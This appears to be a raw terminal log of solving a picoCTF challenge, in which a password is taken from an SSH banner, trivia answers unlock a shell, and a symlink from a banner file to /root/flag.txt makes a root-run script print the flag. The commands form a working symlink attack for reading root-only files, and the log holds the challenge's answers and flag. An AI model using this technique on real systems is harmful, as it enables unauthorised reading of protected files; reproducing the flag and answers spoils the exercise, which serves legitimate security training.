$ nc tethys.picoctf.net 57752 ************************************* **************WELCOME**************** ************************************* what is the password? ^C $ nc tethys.picoctf.net 55046 SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234 Protocol mismatch. $ nc tethys.picoctf.net 57752 ************************************* **************WELCOME**************** ************************************* what is the password? My_Passw@rd_@1234 What is the top cyber security conference in the world? DEFCON the first hacker ever was known for phreaking(making free phone calls), who was it? John Draper player@challenge:~$ ls /root ls /root flag.txt script.py player@challenge:~$ cat /root/flag.txt cat /root/flag.txt cat: /root/flag.txt: Permission denied player@challenge:~$ cat /root/script.py cat /root/script.py import os import pty incorrect_ans_reply = "Lol, good try, try again and good luck\n" if __name__ == "__main__": try: with open("/home/player/banner", "r") as f: print(f.read()) except: print("*********************************************") print("***************DEFAULT BANNER****************") print("*Please supply banner in /home/player/banner*") print("*********************************************") try: request = input("what is the password? \n").upper() while request: if request == 'MY_PASSW@RD_@1234': text = input("What is the top cyber security conference in the world?\n").upper() if text == 'DEFCON' or text == 'DEF CON': output = input( "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper() if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER': scmd = 'su - player' pty.spawn(scmd.split(' ')) else: print(incorrect_ans_reply) else: print(incorrect_ans_reply) else: print(incorrect_ans_reply) break except: KeyboardInterrupt player@challenge:~$ ln -s /root/flag.txt banner ln -s /root/flag.txt banner ln: failed to create symbolic link 'banner': File exists player@challenge:~$ cat banner cat banner ************************************* **************WELCOME**************** ************************************* player@challenge:~$ rm banner rm banner player@challenge:~$ ln -s /root/flag.txt banner ln -s /root/flag.txt banner player@challenge:~$ exit exit logout $ nc tethys.picoctf.net 57752 picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541} what is the password?